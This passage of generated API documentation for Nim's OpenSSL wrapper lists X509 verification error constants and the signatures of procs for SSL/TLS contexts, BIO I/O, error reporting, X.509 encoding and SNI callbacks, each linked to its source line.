[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L231) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L231) ``` X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L232) ``` X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L233) ``` X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD = 15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L234) ``` X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L235) ``` X509_V_ERR_OUT_OF_MEM = 17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L236) ``` X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L237) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L237) ``` X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN = 19 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L238) ``` X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY = 20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L239) ``` X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE = 21 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L240) ``` X509_V_ERR_CERT_CHAIN_TOO_LONG = 22 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L241) ``` X509_V_ERR_CERT_REVOKED = 23 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L242) ``` X509_V_ERR_INVALID_CA = 24 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L243) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L243) ``` X509_V_ERR_PATH_LENGTH_EXCEEDED = 25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L244) ``` X509_V_ERR_INVALID_PURPOSE = 26 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L245) ``` X509_V_ERR_CERT_UNTRUSTED = 27 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L246) ``` X509_V_ERR_CERT_REJECTED = 28 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L247) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L247) ``` X509_V_ERR_SUBJECT_ISSUER_MISMATCH = 29 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L248) ``` X509_V_ERR_AKID_SKID_MISMATCH = 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L249) ``` X509_V_ERR_AKID_ISSUER_SERIAL_MISMATCH = 31 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L250) ``` X509_V_ERR_KEYUSAGE_NO_CERTSIGN = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L251) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L251) ``` X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER = 33 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L252) ``` X509_V_ERR_UNHANDLED_CRITICAL_EXTENSION = 34 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L253) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L253) ``` X509_V_ERR_APPLICATION_VERIFICATION = 50 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L254) ``` SSL_FILETYPE_ASN1 = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L255) ``` SSL_FILETYPE_PEM = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L256) ``` EVP_PKEY_RSA = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L257) ``` MD5_CBLOCK = 64 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L735) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L735) ``` MD5_LBLOCK = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L736) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L736) ``` MD5_DIGEST_LENGTH = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L737) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L737) Procs ----- ``` proc TLSv1_method(): PSSL_METHOD {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L263) ``` proc SSL_library_init(): cint {...}{.discardable, raises: [Exception, LibraryError], tags: [RootEffect].} ``` Initialize SSL using OPENSSL\_init\_ssl for OpenSSL >= 1.1.0 otherwise SSL\_library\_init [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L372) ``` proc SSL_load_error_strings() {...}{.raises: [Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L383) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L383) ``` proc SSLv23_client_method(): PSSL_METHOD {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L388) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L388) ``` proc SSLv23_method(): PSSL_METHOD {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L391) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L391) ``` proc SSLv2_method(): PSSL_METHOD {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L394) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L394) ``` proc SSLv3_method(): PSSL_METHOD {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L397) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L397) ``` proc TLS_method(): PSSL_METHOD {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L400) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L400) ``` proc TLS_client_method(): PSSL_METHOD {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L403) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L403) ``` proc TLS_server_method(): PSSL_METHOD {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L406) ``` proc OpenSSL_add_all_algorithms() {...}{.raises: [Exception], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L409) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L409) ``` proc getOpenSSLVersion(): culong {...}{.raises: [Exception], tags: [RootEffect].} ``` Return OpenSSL version as unsigned long or 0 if not available [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L414) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L414) ``` proc SSL_in_init(ssl: SslPtr): cint {...}{.raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L421) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L421) ``` proc SSL_CTX_set_ciphersuites(ctx: SslCtx; str: cstring): cint {...}{. raises: [Exception, LibraryError], tags: [RootEffect].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L436) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L436) ``` proc ERR_load_BIO_strings() {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L442) ``` proc SSL_new(context: SslCtx): SslPtr {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L444) ``` proc SSL_free(ssl: SslPtr) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L445) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L445) ``` proc SSL_get_SSL_CTX(ssl: SslPtr): SslCtx {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L446) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L446) ``` proc SSL_set_SSL_CTX(ssl: SslPtr; ctx: SslCtx): SslCtx {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L447) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L447) ``` proc SSL_CTX_set_session_id_context(context: SslCtx; sid_ctx: string; sid_ctx_len: int) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L448) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L448) ``` proc SSL_get0_verified_chain(ssl: SslPtr): PSTACK {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L449) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L449) ``` proc SSL_CTX_new(meth: PSSL_METHOD): SslCtx {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L451) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L451) ``` proc SSL_CTX_load_verify_locations(ctx: SslCtx; CAfile: cstring; CApath: cstring): cint {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L453) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L453) ``` proc SSL_CTX_free(arg0: SslCtx) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L455) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L455) ``` proc SSL_CTX_set_verify(s: SslCtx; mode: int; cb: proc (a: int; b: pointer): int {...}{.cdecl.}) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L456) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L456) ``` proc SSL_get_verify_result(ssl: SslPtr): int {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L457) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L457) ``` proc SSL_CTX_set_cipher_list(s: SslCtx; ciphers: cstring): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L460) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L460) ``` proc SSL_CTX_use_certificate_file(ctx: SslCtx; filename: cstring; typ: cint): cint {...}{. stdcall, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L461) ``` proc SSL_CTX_use_certificate_chain_file(ctx: SslCtx; filename: cstring): cint {...}{. stdcall, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L463) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L463) ``` proc SSL_CTX_use_PrivateKey_file(ctx: SslCtx; filename: cstring; typ: cint): cint {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L465) ``` proc SSL_CTX_check_private_key(ctx: SslCtx): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L467) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L467) ``` proc SSL_CTX_get_ex_new_index(argl: clong; argp: pointer; new_func: pointer; dup_func: pointer; free_func: pointer): cint {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L470) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L470) ``` proc SSL_CTX_set_ex_data(ssl: SslCtx; idx: cint; arg: pointer): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L471) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L471) ``` proc SSL_CTX_get_ex_data(ssl: SslCtx; idx: cint): pointer {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L472) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L472) ``` proc SSL_set_fd(ssl: SslPtr; fd: SocketHandle): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L474) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L474) ``` proc SSL_shutdown(ssl: SslPtr): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L476) ``` proc SSL_set_shutdown(ssl: SslPtr; mode: cint) {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_set_shutdown".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L477) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L477) ``` proc SSL_get_shutdown(ssl: SslPtr): cint {...}{.cdecl, dynlib: DLLSSLName, importc: "SSL_get_shutdown".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L478) ``` proc SSL_connect(ssl: SslPtr): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L479) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L479) ``` proc SSL_read(ssl: SslPtr; buf: pointer; num: int): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L480) ``` proc SSL_write(ssl: SslPtr; buf: cstring; num: int): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L481) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L481) ``` proc SSL_get_error(s: SslPtr; ret_code: cint): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L482) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L482) ``` proc SSL_accept(ssl: SslPtr): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L483) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L483) ``` proc SSL_pending(ssl: SslPtr): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L484) ``` proc BIO_new_mem_buf(data: pointer; len: cint): BIO {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L486) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L486) ``` proc BIO_new_ssl_connect(ctx: SslCtx): BIO {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L488) ``` proc BIO_ctrl(bio: BIO; cmd: cint; larg: int; arg: cstring): int {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L490) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L490) ``` proc BIO_get_ssl(bio: BIO; ssl: ptr SslPtr): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L492) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L492) ``` proc BIO_set_conn_hostname(bio: BIO; name: cstring): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L494) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L494) ``` proc BIO_do_handshake(bio: BIO): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L496) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L496) ``` proc BIO_do_connect(bio: BIO): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L498) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L498) ``` proc BIO_read(b: BIO; data: cstring; length: cint): cint {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L502) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L502) ``` proc BIO_write(b: BIO; data: cstring; length: cint): cint {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L504) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L504) ``` proc BIO_free(b: BIO): cint {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L507) ``` proc ERR_print_errors_fp(fp: File) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L509) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L509) ``` proc ERR_error_string(e: culong; buf: cstring): cstring {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L511) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L511) ``` proc ERR_get_error(): culong {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L513) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L513) ``` proc ERR_peek_last_error(): culong {...}{.cdecl, dynlib: DLLUtilName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L514) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L514) ``` proc OPENSSL_config(configName: cstring) {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L516) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L516) ``` proc OPENSSL_sk_num(stack: PSTACK): int {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L518) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L518) ``` proc OPENSSL_sk_value(stack: PSTACK; index: int): pointer {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L520) ``` proc d2i_X509(px: ptr PX509; i: ptr ptr cuchar; len: cint): PX509 {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L523) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L523) ``` proc i2d_X509(cert: PX509; o: ptr ptr cuchar): cint {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L526) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L526) ``` proc d2i_X509(b: string): PX509 {...}{.raises: [Exception], tags: [].} ``` decode DER/BER bytestring into X.509 certificate struct [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L529) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L529) ``` proc i2d_X509(cert: PX509): string {...}{.raises: [Exception], tags: [].} ``` encode `cert` to DER string [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L537) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L537) ``` proc CRYPTO_malloc_init() {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L560) ``` proc SSL_CTX_ctrl(ctx: SslCtx; cmd: cint; larg: clong; parg: pointer): clong {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L564) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L564) ``` proc SSLCTXSetMode(ctx: SslCtx; mode: int): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L570) ``` proc SSL_ctrl(ssl: SslPtr; cmd: cint; larg: int; parg: pointer): int {...}{.cdecl, dynlib: DLLSSLName, importc.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L573) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L573) ``` proc SSL_set_tlsext_host_name(ssl: SslPtr; name: cstring): int {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L576) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L576) ``` proc SSL_get_servername(ssl: SslPtr; typ: cint = TLSEXT_NAMETYPE_host_name): cstring {...}{. cdecl, dynlib: DLLSSLName, importc.} ``` Retrieve the server name requested in the client hello. This can be used in the callback set in `SSL_CTX_set_tlsext_servername_callback` to implement virtual hosting. May return `nil`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L582) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L582) ``` proc SSL_CTX_set_tlsext_servername_callback(ctx: SslCtx; cb: proc (ssl: SslPtr; cb_id: int; arg: pointer): int {...}{.cdecl.}): int {...}{. raises: [], tags: [].} ``` Set the callback to be used on listening SSL connections when the client hello is received. The callback should return one of: * SSL\_TLSEXT\_ERR\_OK * SSL\_TLSEXT\_ERR\_ALERT\_WARNING * SSL\_TLSEXT\_ERR\_ALERT\_FATAL * SSL\_TLSEXT\_ERR\_NOACK 